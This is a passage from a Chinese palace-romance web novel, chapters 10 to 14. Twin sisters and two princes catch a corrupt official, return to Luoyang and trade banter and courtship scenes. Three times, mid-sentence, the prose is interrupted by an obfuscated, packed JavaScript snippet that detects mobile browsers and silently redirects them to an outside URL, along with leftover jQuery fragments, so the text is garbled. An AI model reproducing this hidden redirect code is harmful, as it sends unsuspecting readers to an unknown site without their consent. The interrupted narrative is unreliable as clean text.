“你一个皇子,你在哪学的这门手艺?” 江晏拆下了门上的铁链,推开门说道:“先别管这个了,进去看看。” 林默言跟在江晏身后走了进去,仓库中非常的暗,隐隐有一股霉味。正走着,林默言突然感觉到有什么东西从自己脚边飞快的跑了过去,还发出了“吱吱”的叫声。林默言立马就不淡定了,一下子窜到江晏前面,拼命稳住形象才没有上蹿下跳。 江晏见她反应这么大,问道:“你这是害怕老鼠?” 林默言没有说话,小心翼翼的盯着脚下慢慢走,却没想到前方有传来了吱吱声,吓得林默言又倒退几步差点踩到江晏。 江晏扶了她一把,拿出火折子来照明。难得没有损她,而是说道:“你先去外边等我吧,我进去看看。” “好。那你小心些。”林默言没有拒绝,逃似的一下子跑了出去。 11. 第 11 章 另一边,林默语还在与范崇周旋。她并不是很喜欢跳舞,舞技与姐姐相差较大,于是便谢绝了再跳一支舞的要求。林默语琴技堪称一绝,主动请求弹奏一曲。修长而纤细的手指轻轻抚弄琴弦,琴音婉转流畅,充满整个庭院,令人为之动容。 佳人轻轻抚动琴弦,哪怕只是远远看着,也令人赏心悦目。 江晏走进粮仓深处,发现在几袋谷子之下堆着厚厚的秸秆,那股潮湿的霉味就是来源于此。江晏搬开杂物,用手摸了摸地面,果真是暗藏玄机。他将秸秆全部拨开,发现底下藏了几个大箱子,每一个都上了锁。江晏用方才的方法把锁撬开,里面全是白花花的银子。 官银底下一般都会有特殊标记,江晏拿起其中一个看了看,果然有标记。看来林默言所得的情报属实了。那么接下来,就可以抓范崇归案。 林默语正在给范崇倒酒,一个下人突然慌慌张张的赶来,对着范崇耳语几句。范崇听后,脸色大变。 下人看到林默语,也是脸色一变,颤颤巍巍的说道:“大人,小的方才在粮仓附近看见了这个女子,在那边鬼鬼祟祟的,怎么会突然出现在这里……” 此话一出,林默语心中突然有些慌张,姐姐会不会出了什么事情?但她表面依旧很从容的说道:“休得胡言。我一直都同大人在一处。” 范崇此时已顾不上这些了,对林默语说道:“我府中突然多了几只老鼠在闹腾,美人先在此等等,我去去就回。” 林默语见状也打算跟上去看看,说道:“小女子不想离开大人太久,还请大人带我一起去吧。”此话一出,范崇放肆大笑,任凭林默语跟着走向粮仓。 林默言见江晏进去半天还没有出来,害怕出什么状况,状着胆子走了进去。 “有什么发现吗?”林默言问道。随即她看到了江晏身前的几个大箱子,走进一看,是官银没错。 江晏见她进来,轻笑道:“怎么,不怕了?” “这不是担心没人给你收尸吗?”林默言故意气他道。 两人正在吵架拌嘴时,突然听到了外面有动静传来,应当是有人赶来了。两人互相对视一眼,十分默契的先躲藏在了暗处。 范崇带人赶来,发现粮仓的门大开着,赶紧跑进里面查看。官银都没有被移走,但都被翻了出来,亮出白花花的银子。范崇大怒,下令掘地三尺全府搜查是什么人在捣鬼。侍卫得令后都离开了,只剩下范崇和林默言还站在那里。 江晏看准时机,从房檐上跳了下来,迅速把刀架在了范崇脖子上。范崇正准备拔剑回击,却被一旁的林默语一脚踢飞了手中的剑。范崇大惊,十分错愕的看向站在身旁的美人。江晏则迅速捆住了他的手脚。 “还请范大人跟我们走一趟了。”林默言笑着从暗处走了出来,手里拿着之前搜出的被篡改过的账本。 范崇吃惊的看看林默言,再看看自己身旁的林默语,这俩人根本就一模一样,他甚至怀疑自己是不是看花眼了。他来回看着两人的脸,震惊不已,突然间就明白了怎么回事。有这般姿色且长得一模一样,又有资格前来查案的,恐怕只有那传说中的林家二姐妹了。这两位“西启第一美人”的名号很响,范崇之前未有幸见过真容,没想到他竟是以这种方式见到了。 “这里就交给你们了,我将他押入许州衙门随便调兵前来清缴官银。”江晏说道。有种种罪证在手,再加上太子信物,许州的军队必会听从调遣。封锁县令府后,默言默语先去换掉了这套糟心的衣服。看着军队前来运走官银,林默言才松了口气,事情终于告一段落了。 接下来的几天,他们还需进行进一步的排查,之后就可以回洛阳了。芜山县虽是一个较为落后的小地方,但这里的自然风光却是可圈可点,与繁华的洛阳城相比也别有一番韵味。 “姐姐,我总觉得不太对劲。这次的任务似乎都是顺水推舟,完成的有点太过轻松了。”夜晚入睡前,林默语对姐姐说道。 “语儿为何这样觉得,说来听听。”林默言问道。 “按照太子殿下的说法,这件案子背后的主谋另有其人。可那个主谋从始至终都没有跳出来阻止过我们。我担心,他会有更大的阴谋。”林默语说道。 林默言思索片刻,说道:“语儿说的有道理,但这都是后话了。眼下芜山一案已完,其余的事情我们还要回去找秦初商量,修整几日我们便起程回洛阳。天色已晚,语儿早些睡吧。” 今夜两人挤在一处睡下,瞬间有了一种回到小时候的感觉。 洛阳城内,鲜卑族的使节团已抵达皇城。西启国君亲自迎接,场面隆重。但看着为首的鲜卑族王子拓跋宇,秦初内心总有一种不好的感觉。接见仪式完毕后,秦初命萧肃暗中留意拓跋宇的行为。 第二天一早,林默言三人踏上了返回洛阳的道路。她归家心切,只草草吃了几口饭就拉着两人赶路。这一路上,江晏老是换着法子来和她斗嘴,要不是有语儿拉着,两人都不知道打起来多少次了。回到洛阳后,林默言非常开心,终于摆脱了这个讨厌鬼。 时隔半个多月,终于再次回到了林府。回想这一程的风餐露宿,林默言颇为感慨。令两姐妹没想到的是,回到林府之后,林瞻远竟然也在府中。 “爹爹!”林默言见到他直接开心的扑了过去,用埋怨的语气说道:“大忙人终于想起自己还有个家了,终于想起自己还有两个女儿了。” 林瞻远笑着搂住扑过来的女儿,笑道:“言儿,你看看你,多大的人了还这么不稳重。一点都没有姐姐的样子。” “我才不要,稳重什么的交给语儿就好了。” 林默语见到父亲后也很开心,笑着叫了一声爹爹。许久未见他的两个宝贝女儿,林瞻远在忙碌之余总会担忧她们的安危,看到她们平安回来才放下心来。 “这次的事,做的不错。累到你们了吧。”林瞻远看着倦容明显的两个女儿,有些心疼的说道。 “累是累了点,但言儿想多为爹爹分忧,累一点没什么。”林默言说道。 “我和姐姐累点没什么,倒是爹爹,应该要多注意身体才是。”林默语也在一旁附和道。 看着两个懂事的女儿,林瞻远笑道:“我近日得了些空闲,正好在家陪陪你们。” 今日的饭桌上终于不再只有姐妹两人,现如今和父亲一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485243|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭都成了一件难事。林默语突然觉得,若是爹爹不是朝中重臣就好了,她们一家人就可以永远平淡幸福的生活在一起,做一户平凡人家。那样的话,母亲也不会死。 “语儿,你怎么了?“林默言见妹妹许久没动碗筷静静出神,在她眼前绕了绕手。林默语这才回过神来,意识到自己已发呆良久。 “我没事,可能是有点累了。”林默语收回了思绪道。 林默言在盘子中夹了一大堆菜推给语儿,说道:“那语儿先多吃点,累了就好好休息。” “嗯。”林默语接过了盘子。 第二日,林默言前去太子殿找了秦初,向他汇报了此次案件的具体情况。秦初昨日就已经听江晏说了一些,再结合今日林默言所说,秦初大概想明白了。 “也就是说,此次事件不仅仅是贪污,还与通敌有关,容玦想要联合拓跋宇?”秦初说道。 “我也认为是如此。而且现在已经可以肯定语儿之前遇到的那个胡人就是拓跋宇,那就说明他或许早就和容玦串通好了,提前到达了西启。”林默言说道。 秦初凝眉,果真是来者不善。父皇此时已被容玦蒙蔽,这件事还不能告诉父皇,只能靠他先一步提防查探。 “拓跋宇那边,我已经派萧肃盯着了。”秦初说道。“说起语儿……语儿她还好吗?”秦初昨日听江晏说林默语吃了不少苦头,但江晏却没有具体告知。 江晏一直不解不过是打个雷而已林默言那日为何会如此紧张,林默语的身手不错,按理说不应该慌张到如此程度。但在找到林默语后,看着她那神志不清的模样,江晏隐隐有了一些猜测。林默言见他已经亲眼看到了,就向他略微解释一二。还特意叮嘱他要保密,语儿不想让其他人知道。于是在秦初问时,江晏信守承诺没有提及林默语害怕打雷这件事情,只是说了在追击拓跋宇时遇到了一些麻烦。这令秦初更加于心不忍。在他们去许州办案的这半个月里,秦初明天都在担心,甚至有些后悔自己派她们去。 “语儿啊……”林默言故作意味深长道:“看着不太好,毕竟这一路上可吃了不少苦头。” 秦初听后内心五味杂陈,他很想去看看林默语。但自上次乞巧节一别后,两人就已经没见过面了,连告知事务都是由林默言代劳,也不知道语儿是不是刻意躲着他。 “辛苦你们了,改日我在太子殿设宴犒劳一下你们。”秦初故作平静道。 林默言却摇了摇头,说道:“设宴什么的,还是不必了吧,太过正式倒也繁杂。不如一起去宫外找一家酒楼,开怀畅饮,倒也自在。” “好,那就依我们林大小姐所言。”秦初笑道。 “那我先告辞了,静候佳音。”林默言调皮的眨眨眼,离开了太子殿。 在送走林默言后,秦初坐着沉思片刻,叫来下人吩咐了几句。下人听后很是震惊,金枝玉叶的太子殿下要这些东西干什么?但他也知道主子的事少打听,只管听命就是了,于是立即屁颠屁颠的跑去办事。 下人走在路上,心中还是十分不解。太子殿下尊贵无比,要桃花酥的配料表干什么?殿下若是想吃直接让他去买不就好了。 12. 第 12 章 夜晚,秦初处理完朝中事务后,拿起桌上的配料表开始仔细研究。上面记录的步骤十分详细,秦初看后觉得这对他应该不是很难。于是他自信满满的把配料表装进口袋前往东厨。 “你们先下去吧,今晚就不要进来了。”秦初对东厨里的一众御厨下人说道。太子殿下金口玉言,掌勺的立马带领众人行礼并退了出去。 待人都走光后,秦初拿出配料表按照上面所说准备材料,然后开始按步骤一步一步做。这尚且算他第一次下厨,难免有些笨手笨脚。片刻后,秦初意识到自己把这件事想的有点太过简单了。明明每一步都是按照上面所说的来做,但是做成的东西却不尽人意,秦初自己都不忍直视。 原来握剑征战沙场的手,不一定握的稳菜刀。 十指不沾阳春水的太子殿下,到了厨房可谓是手足无措。转身时一个不小心,将案板上的面盆撞了下来。面盆掉落噼里啪啦摔成了碎渣,连带着秦初身上都粘了不少面粉。 听到如此大的动静,一直在外面候着的御厨赶紧跑进来查看太子殿下的安危。这一看,看到了太子殿下与平日里反差极大的一面。平日里雷厉风行,威严庄重的太子殿下,此刻一身面粉,脸上也沾了些,茫然的站在打碎的面盆前。御厨想笑,但他不敢。 “不是说了今晚不要进来吗?”秦初皱了皱眉,但一身面粉的太子殿下怎么看都威严不起来。 “那个……殿下需不需要我来帮忙?”御厨问道。 秦初一边拍着衣服上的面粉一边说道:“不必了,你退下吧。” 御厨只得依言退下。外面站着的伙计见他出来,一脸焦急的问道:“里面什么情况?” 御厨长叹一口气,抬头望月作出沉思状,一脸悲痛的说道:“我觉得,太子殿下可能对我们的手艺不太满意……”不然怎么会亲自动手呢? 秦初一直忙活到了大半夜,但做出来的东西却依旧不尽人意。这种卖相怎么拿得出手送给语儿?秦初扶了扶额,觉得自己可能真的没有这方面的天赋,但他相信世上无难事只怕有心人,只要努力改进就一定会有成功的时候。夜色已深,秦初还要留些精力去处理每天的事务,只得回殿休息明晚再来。 深夜,林默言突然做了一个很奇怪的梦,惊醒后心中久久不能平静。一看窗外,天还没有一点要亮的迹象。林默言起身靠在床上,开始反思自己这两天怎么老是会想到某个讨厌鬼。会不会是因为前些天被他烦习惯了,没有他在一旁拌嘴吵架还有点不适应?这样一想,林默语自己都觉得自己不可理喻,这样清净明明就很好。此时的她已经没了睡意,就这样一直坐着发呆,不知不觉间夜色悄然褪去了。 林默言起身穿好衣服来到了语儿的房间,坐在床边推了推还在睡觉的语儿。林默语一睁眼看到了姐姐,再看了一眼欲亮不亮的天色,十分怀疑自己是不是见鬼了,姐姐怎么可能起这么早? “姐姐,你今天怎么这么早就起来了?”今天换成林默语一副没睡醒的样子,睡眼朦胧。 “语儿,我睡不着。你陪我聊聊呗。”林默言看起来有些郁闷。 “姐姐,你不开心吗?”林默语起身揉了揉眼睛。 “也不算不开心吧。就是……该怎么说呢?就是……我也不知道该怎么说。哎呀,好奇怪啊。算了,没什么。语儿你继续睡吧。”林默言说着就把她按回床上盖好被子,然后转身走了出去。 林默语听着姐姐一大早说了一大堆莫名其妙且毫无头绪的话,本就还没睡醒的她一脸问号。依她对姐姐的了解,此刻就算她前去追问姐姐也会给她来个“没事”“没什么”“姐姐怎么会骗你”三件套。这种情况,只能等来日细细追问。于是林默语干脆又缩回了被子里继续睡觉。 林默言回房休息一会儿后,想到许久没去私塾旧址了,于是便起身拿上工具想要前去打理一番。那是默言默语幼时曾就读过的私塾,自先生去世后,私塾就关闭了,如今已荒废许久。但林默言不愿看着曾经熟悉的地方沦为一片荒芜,所以每隔一段时间都会过去修整一番。 行走在年幼时曾走过无数次的路上,林默言心中不免有些感触。幼时习以为常的景象,如今已变得遥不可及了。可偏偏自己年幼时还未好好珍重这段时光,如今再回首,倒也是应了先生曾讲过的那句“欲买桂花同载酒,终不似,少年游”。 来到私塾门前,林默言轻轻推开已经略有一些腐朽的门。几个月不来,原本平整的院落里又已经长满了杂草,令人不禁感慨一句物是人非。 林默言幼时种下的小树苗如今已经长的比这里的房子还要高了,只是如今秋意正盛,叶片略为稀疏。倒是院中的桂花快要开了。今天她来时,还带了一颗小桃树苗。林默言寻了个位置打理一番将这颗树苗种下,只是不知当这颗小树苗成长为参天大树时又会是何种光景。 她没有把太多时间用于感慨,种下树苗后,林默言起身正想去打理院落中的杂草,却听身后突然传来了一句:“令公桃李满天下,何用堂前更种花。”声音低沉,有一丝耳熟。 林默言回头,看到了一张有些眼熟的脸。回想片刻,她想起了自己在哪里见过这个人。那日她去太子殿时秦初不在,碰到的就是这个人。在一身黑袍的掩映下,他的脸色依旧苍白的有些不正常。 “你是……徐衍?”林默言问道。 闻言,眼前之人露出了笑容。之前一面让林默言觉得在面对他时不甚自在,但此刻看着他的笑,竟觉得还挺好看,在笑起来时他身上那奇怪的阴郁感也淡了几分。 容玦凝视着她,发自内心的笑道:“嗯。没想到你还记得。” “你为何会出现在这里?”林默言心中还是没有打消疑虑,现在知道这个地方的人并不多,这个徐衍怎么会在这里? 只见眼前之人微微低垂了眼,说道:“说来,其实我也是他的学生。” 林默言有不懂他为何会是这般复杂的表情。先生德高望重,桃李满天下。偶尔也会有他的学生来这里探望。时隔太久,她也记不清是不是有一位叫徐衍的同窗了。心中暗自想着回去之后查一查。 “我想着过些日子就是先生的忌日了,便回来这里看看。”容玦继续说道。随即,他拿过了林默言身旁的工具,准备清理院落中的杂草。林默言正想阻拦,他却说道:“我既是先生的学子,便也想为他尽一份力的。” 听到这句话,林默言便没有继续阻拦。而是拿起另一个工具,去一旁铲除杂草。容玦盯着他的背影看了一会儿,也默不作声的修整起了院子。两人再没说话,就这样静静的一起修整了这一方院落。 修整完之后,林默言直起身抚去了额角细细的汗珠。看着再度齐整的院落,林默言的心中也好受了一些。 “谢谢你啊,徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485244|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍。”林默言回头看着他真心实意的笑道。 看着林默言的笑容,容玦微微有些发愣。时隔多年再次看到她的笑,她一如当年那般明媚动人,令人心生向往。容玦突然觉得所做的一切都没有那么苦了,只为她的一抹笑颜。哪怕此刻她口中喊的并不是自己的名字。 “无妨。毕竟我也是他的学生。”容玦看着她道。 林默言整理好了工具准备离开,却见他没有要走的意思,于是问道:“你不走吗?” “不了,我……还想再看看这里。”容玦说道。 “好,那便有缘再会。”林默言对他赋之以笑,随后离开了私塾。 容玦目送着她离开,随后漫不经心的在院中踱步。其实就算除去林默言的这份缘故,他对这位先生倒也是真的有几分敬仰的。这位先生算是他一生中为数不多的崇敬之人,所以今日来此也不全是为了林默言。 容玦走进一间房,种种往事依旧明晰,历历在目。只是可惜,自己终究没有成为他的学生。 林默言就这样很是清闲的度过了好几天,每天睡睡懒觉,陪语儿和爹爹。这也算是事务办完后的几日修整,但总觉得少了几分乐趣。几日后,秦初来找了她,还递给她一盒东西。 “这是什么?”林默言问道。 “这是桃花酥,麻烦你把这个交给语儿。”秦初说道。 林默言突然笑了。秦初不解,问道:“笑什么?” “这个桃花酥,是你自己做的吧?”林默言一脸坏笑的看向秦初。 “你如何得知?”秦初微微震惊。但想了想,自己制作桃花酥时动静太大,而且手艺不精,最终找御厨指点了一二才做的像样了些。一来二去,基本整个太子殿的人都知道了。林默言与他关系甚好,听到些风声也不奇怪。 果不其然,林默言笑意更浓,说道:“哎,谁不知道太子殿下这几日晚上总往东厨跑,每次出来都是一身面粉。这很难猜吗?太子殿下如此尊贵,却甘愿亲自动手下厨。你说说,还能是为了谁呢?” 秦初无奈,只得承认道:“言儿莫要再折煞我了。好吧,我承认是我做的。你不要告诉语儿。” “放心放心,我明白的。”林默言心中了然,秦初是害怕语儿得知是他所做后不吃。 秦初正想走,突然又想起了一茬,回头说道:“我近日事务繁忙抽不开身,等过了这两天,我叫上你们一同去宫外聚聚。” “好嘞,大忙人的这句话我记下了。”林默言笑道。 送走秦初后,林默言将桃花酥拿给了语儿,并叮嘱她一定要吃掉。虽然姐姐没有明说,但林默语不用猜也知道这是秦初送来的。姐姐听说的事情,她也是有所耳闻的。 林默语掀开盖子,里面整整齐齐的摆放了一盘桃花酥,香味四溢,卖相也十分好看,每一个都小巧精致。这是秦初在不知道多少个夜里,反反复复的拿着配料表研究,一遍又一遍的重复着每一个步骤,花费了不知道多少心思才做出来这么一盘。太子殿下向来都是威严的,雷厉风行的。林默语心里清楚,秦初唯有在她身上才会优柔寡断。位高权重的太子殿下,本应该是说一不二的,没有必要为任何人任何事低头,却在面对她时一再退让,甚至有几分小心翼翼和卑微。他本不必要做到这个程度的。林默语微微动容,拿起了一块放入口中,甜而不腻,出乎意料的很合她胃口。 13. 第 13 章 几日后,秦初送来信件说要在傍晚请她们到宫外一聚。林默言将这个消息告诉了语儿。 林默语沉吟片刻,说道:“姐姐,你先去吧。我稍后就到。” 林默言隐隐觉得语儿不会来,但她也不好说些什么,她会永远支持和尊重语儿的选择。于是林默言便一个人先走了。 走到秦初所说的酒楼,林默言抬眼看到了一个熟悉的身影,江晏果然也在。江晏此刻正站在围栏边不知道在想些什么,皱着眉头,脸上没有表情,散发出一种冷冷的气场。林默言抬头注视着江晏,突然想起了第一次见他时的模样。俊朗的男子身着青衣,手臂上缠着银白色的护腕,脸上没有表情时杀气很重,给人一种盛气凌人的感觉。但不知从何时起,林默言对江晏的印象变成了一个爱惹她生气的讨厌鬼。 看着楼上江晏冷冽的目光,一点都不同于在面对她时的嬉皮笑脸。林默言突然觉得,这个人或许没有她想象的那么爱笑。不知身处黎国时,他又会是什么模样?林默言想着,继续想楼上走去。 林默言一直走到了楼上,江晏却仍未察觉到她的到来,依旧在想着什么,出神的望着黎国的方向。林默言走上前轻轻拍了他一下,说道:“想什么呢这么入神?” 江晏这才回过神来,看到林默言后刚才的高冷立马一扫而空,如同往日面对她时一般挂起了不羁的笑容,仿佛刚才那个目光冷冽的人不是他。不知为何,时隔半月后再次看到他的笑容,林默言突然觉得这个人也没有那么讨厌。 “这么久不见,是不是很想我?”江晏伸手揉了一把林默言的头发,期待着她恼羞成怒的表情。但这次林默言没躲也没有骂他,江晏一时还有点不习惯。 “秦初来了吗?”林默言问道。 “还没有,他应该一会儿就到。”江晏回答道。随即他带着林默言来到座位前先坐下,然后拿起酒壶为自己倒了一杯酒。林默言伸手要拿时被江晏阻止。 “你能喝酒吗?” “怎么不能?我可是千杯不倒的。”林默言冲他挑了挑眉。 江晏伸出一根手指敲了一下她的额头,笑道:“净说大话。” 林默言正想与他争论,却见楼上再次上来一人,是秦初来了。秦初着一身素雅便服,但依旧气度不凡。林默言和江晏起身前去迎接。 “抱歉,让你们久等了。”秦初说道。随后扫视了一下四周,没有发现那个身影,但还是不死心的问道:“语儿呢?” 林默言犹豫了一会儿,说道:“语儿说她等会再来。” 秦初心中了然,目光黯淡了几分,但还是招呼着江晏和林默言坐下。三人一边吃饭一边闲聊。 秦初看着江晏十分自然的给林默言夹菜,林默言十分自然的接过送入口中。他还记得之前这俩人一见面就打架,如今却是如此的和谐,秦初不禁有些感慨。 三人相谈正欢,却见萧肃急匆匆的跑上来对着秦初耳语几句。这幅场景莫名熟悉,林默言猜下一秒秦初就要向他们告辞了。果不其然,秦初听后立马站了起来对他们说道:“实在抱歉,我有一些紧急的事务,先失陪了。”说着便急匆匆的走了。 林默言皱了皱眉,对江晏说道:“我怎么感觉只要那个萧严一来,秦初就有要紧的事要做,我真想替秦初打他一顿。” 江晏无奈道:“你打他一顿秦初就不用处理事务了吗?不过是换个人来通报。还有,你什么时候才能记住人家叫萧肃?” “失误失误,下次一定记住。”林默言自己也很汗颜。萧肃此人给她的最大印象就是非常严肃,一丝不苟。不知怎的林默言就是觉得叫他萧严更加贴切。 原本应该是四个人一起吃饭,现在却只剩下他们两人,莫名有一种在私会的感觉。林默言感觉气氛很怪,随便吃了两口后对江晏说道:“那我也先走了。” 江晏把她重新按回座位上,说道:“走什么?你又没有什么急事。” “我吃饱了行走不行吗?” “行,既然如此那你就带我在洛阳城四处走走吧。”江晏一副不容拒绝的表情。 几番斗嘴后,林默言还是带着江晏来到了洛阳城的街上。此时夜幕低垂,华灯初上,各式各样的灯笼散发出明亮而柔和的光芒,街道上灯火通明,熙熙攘攘。小贩的吆喝声此起彼伏,各种各样的商品更是令人眼花缭乱。这里万家灯火彻夜通明,来来往往的行人形态各异,都在不同的地方上演着自己的故事。 江晏慢悠悠的走在街上,看着他身侧之人,突然间很是享受这里的人间烟火气。这里没有朝堂斗争,也没有手足相残。 虽说是陪江晏游览洛阳城,但一路上都是林默言在前面跑江晏在后面跟着。林默言有时会回头等一等悠闲散漫的江晏,待她回头时灯火阑珊处人声鼎沸,但江晏却依旧是人群中异常惹眼的存在。 等到江晏跟上她的步伐后,林默言继续向前走。前方有一个售卖书籍的摊位,摊位上挂着的一幅字画引起了林默言的注意。字画中以精简的笔触绘制了一位美丽少女的画像,画像旁提了一句诗,是出自于诗经《氓》中的“总角之宴,言笑晏晏”。林默言看着这首诗,不由自主的笑了。从前看到这句诗时没有什么特别的感想,如今再看时竟品出了另一番韵味。 在一片灯火阑珊中,惊才绝艳的佳人笑颜如画。眸光流转,灯映红颜。江晏看向她时,宛若清风抚过心弦,令其沉醉于这美好的夜晚。 江晏不由自主靠进林默言,轻轻点了一下她的额头说道:“傻笑什么呢?” 林默言笑意更浓,明媚的眼眸中倒映着江晏的容颜。 “我笑你啊!”林默言报复性的伸出手戳了戳江晏的脸,随后转身跑开了。 “笑我?”江晏无奈的摸了摸被她戳过的半边脸,看着她的背影不明所以。直到他抬头看了一眼摊位上挂着的字画后,才明白过来林默言所说的那句“我笑你啊”是什么含义。看着字画上的“总角之宴,言笑晏晏”,江晏的心瞬间如平静的水面漾起涛涛波纹。原来这首诗还可以这样理解。 “言笑晏晏……”江晏在心中默念了一句,转身向林默言跑的方向追去。 林默言倚在桥边看着追过来的江晏,自己都没有意识到自己笑的有多明媚。江晏站在了林默言身旁,与她一起凝望着桥边风景,颇有一种岁月静好的感觉。 月上中天,月光如轻纱般轻轻覆盖在桥面上。微风抚过,水面泛起层层涟漪,波光粼粼。江晏转头看了看月色中笑意正浓的林默言,一时之间分不清令他沉醉的是此景还是此人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485245|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 望着水中之月,林默言突然起了兴致,对江晏说道:“江上夜凭栏。八皇子有没有兴趣接下一句?” 江晏思量片刻,接出了下一句:“月映水中天。不是很会作诗,献丑了。” 林默言听的此句却是眼前一亮,说道:“不错不错,倒是我的略显拙劣了。” 两人间的话题突然向着一个意料之外的方向发展,江晏笑道:“没想到你竟是一个如此附庸风雅的人。” “只是突然间有感而发啦。不过这样一说,确实有点文绉绉酸溜溜的。”林默言说道,其实她和江晏本身都不是多么文雅之人,于是林默言看着月亮,一脸俏皮道:“那我是不是应该说今天的月亮好大好亮好圆?不行,这样岂不是显得我很没文化?” 江晏被她逗笑了,说道:“确实好大好亮好圆。” 林默言转念一想,自己并不算没有学识之人,只是小时候老是喜欢逃功课,每次逃课都会被先生抓回去。但林默言一看到“之乎者也”就头痛,不仅要自己逃,还要拉着语儿一起逃。 “姐姐,我们还是回去吧。爹爹和先生知道了会不高兴的。”年幼的林默语试图阻止姐姐逃课。 “闭嘴,你是姐姐还是我是姐姐?乖乖跟着姐姐走就对了。”林默言不听劝,依旧不知悔改的逃课。 最后的结果往往都是被先生给抓住,然后罚她们抄写文章。 “呜呜呜……先生他也太狠了,竟然让我们抄这么多遍……”林默言一边奋笔疾书一边鼻涕一把泪一把的哭着。 “姐姐,你不要哭了。咱们下次不逃了……”年幼的语儿一边受累抄书还要一边安慰着姐姐。 那时正巧在学《诗经》,林默言被迫把《氓》抄了很多遍,她自己都记不清楚有多少遍了,导致她之后一看到这首诗就手疼。如今再看到“总角之宴,言笑晏晏”林默言甚至都开始怀疑自己是不是命中注定要碰到江晏,毕竟当时抄了那么多遍,真真是孽缘也。 林默言突然想到了一个绝佳的赏月地点,正好她也一直想去那里看看。于是她对江晏说道:“你跟我来,我带你去一个地方。那里的月色应当也是一绝。” 也不管他答不答应,林默言直接转身拉着江晏就跑。江晏兀自一笑,任由她拉着衣袖。两人走了一会儿,来到了城东。林默言四周看了看,说道:“应该快到了。” “我们到底要去哪里?”江晏问道。 “到了你就知道了。” 再往前走了一段距离后,一台阁楼映入眼帘。 “就是这里了。”林默言说道。 “这是秦初花费数年修建的阁楼,近期刚完工,我还没来过呢。”林默言边向前走边对江晏说道。江晏突然停下脚步,看着牌匾上的“初雨阁”三字若有所思。 “看什么呢?”林默言转过身来望向江晏。 江晏示意她看牌匾,说道:“没想到秦兄还挺有心机的,这名字起的不错。” 林默言盯着“初雨阁”三字看了半天,十分不解道:“什么心机?这块牌匾有什么深意吗?我看也没有什么特别的啊。” 江晏无奈的笑了笑,摸着林默言的头发说了句“笨”。然后向着阁楼内走去。 “你才笨!”林默言迅速追了上去。 14. 第 14 章 两人凭着秦初给江晏的玉牌畅通无阻的走了进去,走了很长一段楼梯,才到达初雨阁的最顶层。这里挂着一个很大的红帐子,在夜色之中尽显朦胧之态。两人穿过红帐,来到了栏杆旁。从这里看下去,洛阳城东的景色尽收眼底,最显眼的事物莫过于那颗快要和初雨阁一样高的姻缘树。在这里赏月,确实要比在桥边美的多。明月当楼满,星河动夜扉。 “怎么样,是不是很美?”林默言看着江晏说道。 “甚是不错。”江晏说着眼睛却没在看景。“我们黎国有一座楼比这里还要高很多,在那里赏月也很不错。如果有机会的话,我带你去体验一番手可摘星辰的感觉。” “我才不要,我们西启才是最美的!”林默言抱着手臂说道。 “我们黎国更美。”江晏学着她的样子抱起手臂。 “西启美!” “黎国美!” …… 两人因为这个问题又开始斗起嘴来,林默言摆出一副很生气的模样说道:“幼不幼稚啊你。” 江晏见状也想损她,开口说道:“哪有你幼稚啊。你看看你,明明这么聒噪的人,为什么要叫‘默言’?还有别人家的姐姐都是把妹妹护在身后,你却是躲在妹妹身后说‘语儿,他欺负我’……”江晏损了她一大堆。 “我看你是欠揍!”林默言直接扑了过去打江晏,江晏害怕护栏边不安全一边挨打一边笑吟吟的把林默言往里拉。两人在拉扯之中林默言没有注意身后不甚踩住了红帐,脚下一滑向后倒去。彼时江晏的注意力都在林默言身上,伸手稳稳扶住了她。林默言没有摔倒,可身后的红帐子却落了下来,正好盖在两人身上。夜色迷离,红帐散乱,江晏的手还停留在林默言的后背。一时之间,气氛尤为暧昧不清。 林默言愣了片刻,将散落的红帐拨到一旁,毫不客气的用拳头砸向江晏。“登徒子!讨厌鬼!” “还不是你先动的手?”江晏嘴上这么说,但还是任由她打没还手,突然间觉得自己就像是一个出气的麻袋。借着月光,江晏看到了林默言微微发红的耳根。 “好了,先不要闹。我们先把这个红帐挂上去吧。”江晏伸手按住了暴躁的林默言。 这里毕竟是秦初的地盘,两人不打招呼就溜上来还把这里弄的这么乱属实不妥。林默言一想也是,就先放下想打人的心拿起帐子一角,轻巧一跃挂了上去。江晏看到这一幕忍不住笑了笑,然后拿起帐子的另一角微微一伸手就挂了上去。 林默言更生气了,直接扭头就往下走。江晏赶紧追了上来,说道:“错了错了,我不应该笑你的。” “你一点都不真诚!”林默言不满的斜了一眼正在憋笑的江晏。 两人一路从初雨阁走了下去,期间江晏一直在哄着她。 “林大小姐,我知道错了,理理我呗。” 其实林默言并没有多么生气,但听到江晏哄着她就情不自禁想要维持着生气的状态。察觉到此,林默言的心中有一种很是怪异的感受。 走到街上,林默言指着一旁的摊位上的糖葫芦说道:“我要这个。” 